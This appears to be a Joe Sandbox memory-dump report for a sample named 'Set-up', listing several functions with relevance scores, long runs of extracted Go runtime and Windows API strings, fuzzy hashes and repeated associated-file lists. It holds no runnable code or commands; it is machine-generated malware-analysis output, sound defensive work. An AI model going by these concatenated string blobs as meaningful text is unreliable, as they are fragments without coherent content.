Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256BoundImportClassHESIODClassLayoutCloseHandleCoGetObjectCreateFileWDelayIm$1$freeIndex is not validgetenv before env initheadTailIndex overflowinteger divide by zerointerface conversion: internal inconsistencyinvalid number base %dkernel32.dll not foundminpc or maxpc invalidmissing ']' in addressnetwork is unreachablenon-Go function at$runtime: s.allocCount= s.allocCount > s.nelemsschedule: holding lockssegment length too longshrinkstack at bad timespan has no free stacksstack growth after forksyntax error in patternsystem huge page size (too many pointers (>10)truncated tag or lengthwork.nw$s.allocCount != s.nelems && freeIndex == s.nelemsslice bounds out of range [::%x] with capacity %ystrings.Reader.UnreadByte: at beginning of stringstrings.Reader.WriteTo: invalid WriteString countsweeper left outstanding across sweep generationsx509: Ed25519 k$s.allocCount > s.nelemsschedule: holding lockssegment length too longshrinkstack at bad timespan has no free stacksstack growth after forksyntax error in patternsystem huge page size (too many pointers (>10)truncated tag or lengthwork.nwait > work.nprocx509: i$s.allocCount= semaRoot queuestack overflowstopm spinningstore64 failedsync.Cond.Waittext file busytime.Location(timeEndPeriod
API String ID: 0-3154549764
Opcode ID: fd4c9d1e30f90aa20d8227886559b73c1428a7a0f034be51374c4256c148fb74
Instruction ID: 16007b1868e518df016e724980a7892a8b1bdf088af99b726d7930c60833912e
Opcode Fuzzy Hash: fd4c9d1e30f90aa20d8227886559b73c1428a7a0f034be51374c4256c148fb74
Instruction Fuzzy Hash: 6851D4B45087449FC740EF28D18162EBBE1EF88704F95886DE8C98B242E779D949DB73

Function 00D77AB0 Relevance: 8.8, Strings: 7, Instructions: 97COMMON

Download Yara Rule

Strings

casfrom_Gscanstatus: gp->status is not in scan state : message too long for RSA public key sizeencountered an error while unpacking image CHPE Metaerrors: *target must be interface or implement errormallocgc called without a P or outside bootstrapping, xrefs: 00D77BA9
7, xrefs: 00D77C59
runtime: casfrom_Gscanstatus bad oldval gp=runtime: heapBitsSetTypeGCProg: total bits runtime: releaseSudog with non-nil gp.paramruntime:stoplockedm: lockedg (atomicstatus=transform: inconsistent byte count returnedunfinished open-coded defers in deferreturnun, xrefs: 00D77BC4
, oldval=, size = , tail = -07:00:00244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticExceptionFindCloseGlobalPtrHex_DigitInheritedInterfaceKhudawadiLocalFreeMalayalamMemberRefMethodDefMethodPtrModuleRefMongolianMoveFileWNabataeanPalmyren, xrefs: 00D77B3F, 00D77BE6
, newval=, oldval=, size = , tail = -07:00:00244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticExceptionFindCloseGlobalPtrHex_DigitInheritedInterfaceKhudawadiLocalFreeMalayalamMemberRefMethodDefMethodPtrModuleRefMongolianMoveFileWNabataea, xrefs: 00D77B69, 00D77C10
casfrom_Gscanstatus:top gp->status is not in scan stategentraceback callback cannot be used with non-zero skipinvalid NT Header Offset. NT Header Signature not foundos: invalid use of WriteAt on file opened with O_APPEND : internal error: invalid use of , xrefs: 00D77C50
runtime: casfrom_Gscanstatus failed gp=stack growth not allowed in system callsuspendG from non-preemptible goroutinetags don't match (%d vs %+v) %+v %s @%dtraceback: unexpected SPWRITE function transport endpoint is already connectedx509: failed to parse URI , xrefs: 00D77B1D

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: , newval=, oldval=, size = , tail = -07:00:00244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticExceptionFindCloseGlobalPtrHex_DigitInheritedInterfaceKhudawadiLocalFreeMalayalamMemberRefMethodDefMethodPtrModuleRefMongolianMoveFileWNabataea$, oldval=, size = , tail = -07:00:00244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticExceptionFindCloseGlobalPtrHex_DigitInheritedInterfaceKhudawadiLocalFreeMalayalamMemberRefMethodDefMethodPtrModuleRefMongolianMoveFileWNabataeanPalmyren$7$casfrom_Gscanstatus: gp->status is not in scan state : message too long for RSA public key sizeencountered an error while unpacking image CHPE Metaerrors: *target must be interface or implement errormallocgc called without a P or outside bootstrapping$casfrom_Gscanstatus:top gp->status is not in scan stategentraceback callback cannot be used with non-zero skipinvalid NT Header Offset. NT Header Signature not foundos: invalid use of WriteAt on file opened with O_APPEND : internal error: invalid use of $runtime: casfrom_Gscanstatus bad oldval gp=runtime: heapBitsSetTypeGCProg: total bits runtime: releaseSudog with non-nil gp.paramruntime:stoplockedm: lockedg (atomicstatus=transform: inconsistent byte count returnedunfinished open-coded defers in deferreturnun$runtime: casfrom_Gscanstatus failed gp=stack growth not allowed in system callsuspendG from non-preemptible goroutinetags don't match (%d vs %+v) %+v %s @%dtraceback: unexpected SPWRITE function transport endpoint is already connectedx509: failed to parse URI
API String ID: 0-3095482781
Opcode ID: c19b56b7fc1153434acb052c8af960f8d077bc2f4a970cff03b24a7b555f7142
Instruction ID: 5c088f798c981b0d4d75b3df628e0ebfa044b74f33cccc1664bf8e0eb310ae4e
Opcode Fuzzy Hash: c19b56b7fc1153434acb052c8af960f8d077bc2f4a970cff03b24a7b555f7142
Instruction Fuzzy Hash: CB41CFB4508B058FD700FF64E18566EBBE4EF84744F858C2DE4888B352EBB499489B73

Function 00D75600 Relevance: 7.7, Strings: 6, Instructions: 151COMMON

Download Yara Rule

Strings

-Inf.bat.cmd.com.crt.exe3125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCESTCOFFChamDashEESTFileGOGCINFOJulyJuneLEAFLTCGLisuMiaoMiscModiNB10NZDTNZSTNewaPOGORSDSSASTStatThaiTrapWARNXBOXm=] = ] n=allgallpasn1avx2basebindbmi1bmi2boolcallcas1cas2cas3cas4cas5cas6chan, xrefs: 00D75656
., xrefs: 00D75799
-, xrefs: 00D756DA
e+, xrefs: 00D7579E
+Inf-Inf.bat.cmd.com.crt.exe3125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCESTCOFFChamDashEESTFileGOGCINFOJulyJuneLEAFLTCGLisuMiaoMiscModiNB10NZDTNZSTNewaPOGORSDSSASTStatThaiTrapWARNXBOXm=] = ] n=allgallpasn1avx2basebindbmi1bmi2boolcallcas1cas2cas3cas4cas5cas6, xrefs: 00D75670
-, xrefs: 00D757A9

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: +Inf-Inf.bat.cmd.com.crt.exe3125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCESTCOFFChamDashEESTFileGOGCINFOJulyJuneLEAFLTCGLisuMiaoMiscModiNB10NZDTNZSTNewaPOGORSDSSASTStatThaiTrapWARNXBOXm=] = ] n=allgallpasn1avx2basebindbmi1bmi2boolcallcas1cas2cas3cas4cas5cas6$-$-$-Inf.bat.cmd.com.crt.exe3125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCESTCOFFChamDashEESTFileGOGCINFOJulyJuneLEAFLTCGLisuMiaoMiscModiNB10NZDTNZSTNewaPOGORSDSSASTStatThaiTrapWARNXBOXm=] = ] n=allgallpasn1avx2basebindbmi1bmi2boolcallcas1cas2cas3cas4cas5cas6chan$.$e+
API String ID: 0-1812657216
Opcode ID: e060d95d48404180797bc5234eecf795220d63a2a611420a9afb20c0810e5bdc
Instruction ID: 48ca7476dca524ff6f0f94534ae6e57d8a103f6448005448ad527c0da532c240
Opcode Fuzzy Hash: e060d95d48404180797bc5234eecf795220d63a2a611420a9afb20c0810e5bdc
Instruction Fuzzy Hash: 7F515C71409F458EC70BEF38E05532AB795AFA2380F84CB5EE48B66196F7B094598373

Function 00D96980 Relevance: 7.6, Strings: 6, Instructions: 122COMMON

Download Yara Rule

Strings

types value=abortedconnectconsolecpuproffloat32float64forcegcgctracehead = invalidminpc= pacer: panic: readdirrunningserial:signal syscalluintptrunknownwaiting bytes, etypes is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ st, xrefs: 00D96AFA
base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHy, xrefs: 00D96A6D
runtime: text offset base pointer out of rangeruntime: type offset base pointer out of rangesignal arrived during external code executionslice bounds out of range [:%x] with length %ystopTheWorld: not stopped (status != _Pgcstop)sysGrow bounds not aligned to , xrefs: 00D96B6A
not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory, xrefs: 00D96A97
runtime: textOff runtime: typeOff scanobject n == 0select (no cases)stack: frame={sp:swept cached spanthread exhaustionunknown caller pcunknown type kindwait for GC cyclewine_get_version, xrefs: 00D96A42
., xrefs: 00D96B73

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: types value=abortedconnectconsolecpuproffloat32float64forcegcgctracehead = invalidminpc= pacer: panic: readdirrunningserial:signal syscalluintptrunknownwaiting bytes, etypes is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ st$ base code= ctxt: curg= free goid jobs= list= m->p= max= min= next= p->m= prev= span=% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHy$ not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory$.$runtime: text offset base pointer out of rangeruntime: type offset base pointer out of rangesignal arrived during external code executionslice bounds out of range [:%x] with length %ystopTheWorld: not stopped (status != _Pgcstop)sysGrow bounds not aligned to $runtime: textOff runtime: typeOff scanobject n == 0select (no cases)stack: frame={sp:swept cached spanthread exhaustionunknown caller pcunknown type kindwait for GC cyclewine_get_version
API String ID: 0-977601121
Opcode ID: 77bba460c5768050a18e185422b8c838b51d5c9fa6ef251e64018ffd34dbddab
Instruction ID: 9c0d256241dfa40093577e921bae383bc07442c87ac6de28c03e7e67f5025130
Opcode Fuzzy Hash: 77bba460c5768050a18e185422b8c838b51d5c9fa6ef251e64018ffd34dbddab
Instruction Fuzzy Hash: B351E3B4508705DFD704EF24D08166ABBE0FB88704F84892DE8C987355E7B5D985DF62

Function 00D53940 Relevance: 7.6, Strings: 6, Instructions: 104COMMON

Download Yara Rule

Strings

+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03, xrefs: 00D53A49
runtime: found obj at *(runtime: markroot index runtime: p.searchAddr = span has no free objectsstack trace unavailablestructure needs cleaningx509: malformed validityzlib: invalid dictionary{%06X-%04X-%04X-%04X-%X} bytes failed with errno= to unused region o, xrefs: 00D53A1F
checkmark found unmarked objectcoff symbols parsing failed: %ventersyscallblock inconsistent fmt: unknown base; can't happeninternal error - misuse of itabinvalid network interface indexmalformed time zone informationnon in-use span in unswept listpacer: sweep, xrefs: 00D53AF1
basebindbmi1bmi2boolcallcas1cas2cas3cas4cas5cas6chandeadermsfileftpsfunchourhttpicmpidleigmpint8itabkindopenpathpipepop3profquitreadrecvrootsbrkseeksendsmtpsse3tag:tcp4trueudp4uint -%s ... BOM) MB, and max= ms, ptr tab= top=+0330+0430+0530+0545+0630+0845, xrefs: 00D53A8E
9, xrefs: 00D539EF
runtime: checkmarks found unexpected unmarked object obj=pkcs7: Message digest mismatchExpected: %XActual : %Xthe optional header exceeds the file length (%d + %d > %d)ber2der: Indefinite form tag must have constructed encodingbufio.Scanner: SplitFunc ret, xrefs: 00D539E6

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: +,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03$9$basebindbmi1bmi2boolcallcas1cas2cas3cas4cas5cas6chandeadermsfileftpsfunchourhttpicmpidleigmpint8itabkindopenpathpipepop3profquitreadrecvrootsbrkseeksendsmtpsse3tag:tcp4trueudp4uint -%s ... BOM) MB, and max= ms, ptr tab= top=+0330+0430+0530+0545+0630+0845$checkmark found unmarked objectcoff symbols parsing failed: %ventersyscallblock inconsistent fmt: unknown base; can't happeninternal error - misuse of itabinvalid network interface indexmalformed time zone informationnon in-use span in unswept listpacer: sweep$runtime: checkmarks found unexpected unmarked object obj=pkcs7: Message digest mismatchExpected: %XActual : %Xthe optional header exceeds the file length (%d + %d > %d)ber2der: Indefinite form tag must have constructed encodingbufio.Scanner: SplitFunc ret$runtime: found obj at *(runtime: markroot index runtime: p.searchAddr = span has no free objectsstack trace unavailablestructure needs cleaningx509: malformed validityzlib: invalid dictionary{%06X-%04X-%04X-%04X-%X} bytes failed with errno= to unused region o
API String ID: 0-3099054432
Opcode ID: f81e7bae8bad6957901cb79457fd66199f269769f0a51736075f666a8f589eb3
Instruction ID: 4eecbaa48bef0816709b663bbbd514aa4f53d4a5aeb6f40fe3e996c2328be9e2
Opcode Fuzzy Hash: f81e7bae8bad6957901cb79457fd66199f269769f0a51736075f666a8f589eb3
Instruction Fuzzy Hash: 0D41E2B45097448FC700EF28D18576ABBE0EF89704F85886DE8C88B352E7B49948DB73

Function 00D7CE10 Relevance: 7.6, Strings: 6, Instructions: 101COMMON

Download Yara Rule

Strings

preempt at unknown pcread-only file system releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: searchIdx = runtime: work.nwait= sequence tag mismatchstale NF, xrefs: 00D7CF7D
runtime: unexpected SPWRITE function setprofilebucket: profile already setstartTheWorld: inconsistent mp->nextptoo many Additionals to pack (>65535)too many Authorities to pack (>65535)value too large for defined data typex509: RSA key missing NULL parametersx, xrefs: 00D7CF22
%, xrefs: 00D7CF2B
in async preempt to non-Go memory , locked to thread2980232238769531254e45544672616d6577: day out of rangeArab Standard TimeBSTR_UserUnmarshalCM_MapCrToWin32ErrCaucasian_AlbanianCertGetNameStringWCloseServiceHandleCommandLineToArgvWCreateDispTypeInfoCreateFi, xrefs: 00D7CF4C
bad g statusbad g0 stackbad recoverycan't happencas64 failedchan receivedumping heapend tracegcentersyscallexit status freeaddrinfogcBitsArenasgcpacertraceharddecommithost is downillegal seekinvalid baseinvalid slotiphlpapi.dllkernel32.dllmadvdontneedmheapSpe, xrefs: 00D7CF9F
preempt SPWRITErecovery failed lite.Setruntime error: runtime: frame runtime: max = runtime: min = runtimer: bad pscan missed a gstartm: m has pstopm holding punknown Go type already; errno= mheap.sweepgen= not in ranges: untyped locals ,, xrefs: 00D7CF67

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: in async preempt to non-Go memory , locked to thread2980232238769531254e45544672616d6577: day out of rangeArab Standard TimeBSTR_UserUnmarshalCM_MapCrToWin32ErrCaucasian_AlbanianCertGetNameStringWCloseServiceHandleCommandLineToArgvWCreateDispTypeInfoCreateFi$%$bad g statusbad g0 stackbad recoverycan't happencas64 failedchan receivedumping heapend tracegcentersyscallexit status freeaddrinfogcBitsArenasgcpacertraceharddecommithost is downillegal seekinvalid baseinvalid slotiphlpapi.dllkernel32.dllmadvdontneedmheapSpe$preempt SPWRITErecovery failed lite.Setruntime error: runtime: frame runtime: max = runtime: min = runtimer: bad pscan missed a gstartm: m has pstopm holding punknown Go type already; errno= mheap.sweepgen= not in ranges: untyped locals ,$preempt at unknown pcread-only file system releasep: invalid argruntime: confused by runtime: newstack at runtime: newstack sp=runtime: searchIdx = runtime: work.nwait= sequence tag mismatchstale NF$runtime: unexpected SPWRITE function setprofilebucket: profile already setstartTheWorld: inconsistent mp->nextptoo many Additionals to pack (>65535)too many Authorities to pack (>65535)value too large for defined data typex509: RSA key missing NULL parametersx
API String ID: 0-428031113
